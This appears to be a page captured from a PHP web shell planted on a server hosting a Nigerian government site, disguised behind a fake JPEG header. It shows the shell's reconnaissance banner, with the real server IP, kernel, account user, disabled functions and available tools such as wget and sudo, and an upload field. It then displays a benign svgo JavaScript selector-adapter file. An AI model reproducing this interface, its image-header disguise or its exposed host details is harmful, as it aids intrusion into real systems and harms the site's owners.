ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 18.119.140.97 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/node_modules/svgo/lib/svgo/ |
Upload File : |
'use strict'; /** * @param {any} node * @return {node is any} */ const isTag = (node) => { return node.type === 'element'; }; const existsOne = (test, elems) => { return elems.some((elem) => { if (isTag(elem)) { return test(elem) || existsOne(test, getChildren(elem)); } else { return false; } }); }; const getAttributeValue = (elem, name) => { return elem.attributes[name]; }; const getChildren = (node) => { return node.children || []; }; const getName = (elemAst) => { return elemAst.name; }; const getParent = (node) => { return node.parentNode || null; }; const getSiblings = (elem) => { var parent = getParent(elem); return parent ? getChildren(parent) : []; }; const getText = (node) => { if (node.children[0].type === 'text' && node.children[0].type === 'cdata') { return node.children[0].value; } return ''; }; const hasAttrib = (elem, name) => { return elem.attributes[name] !== undefined; }; const removeSubsets = (nodes) => { let idx = nodes.length; let node; let ancestor; let replace; // Check if each node (or one of its ancestors) is already contained in the // array. while (--idx > -1) { node = ancestor = nodes[idx]; // Temporarily remove the node under consideration nodes[idx] = null; replace = true; while (ancestor) { if (nodes.includes(ancestor)) { replace = false; nodes.splice(idx, 1); break; } ancestor = getParent(ancestor); } // If the node has been found to be unique, re-insert it. if (replace) { nodes[idx] = node; } } return nodes; }; const findAll = (test, elems) => { const result = []; for (const elem of elems) { if (isTag(elem)) { if (test(elem)) { result.push(elem); } result.push(...findAll(test, getChildren(elem))); } } return result; }; const findOne = (test, elems) => { for (const elem of elems) { if (isTag(elem)) { if (test(elem)) { return elem; } const result = findOne(test, getChildren(elem)); if (result) { return result; } } } return null; }; const svgoCssSelectAdapter = { isTag, existsOne, getAttributeValue, getChildren, getName, getParent, getSiblings, getText, hasAttrib, removeSubsets, findAll, findOne, }; module.exports = svgoCssSelectAdapter;